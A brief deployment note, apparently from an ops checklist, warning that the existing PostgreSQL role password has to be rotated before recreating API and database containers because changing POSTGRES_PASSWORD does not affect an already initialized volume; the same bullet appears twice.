- Deployment must rotate the existing PostgreSQL role password before recreating API/PostgreSQL containers; changing only `POSTGRES_PASSWORD` does not update an initialized volume. - Deployment must rotate the existing PostgreSQL role password before recreating API/PostgreSQL containers; changing only `POSTGRES_PASSWORD` does not update an initialized volume.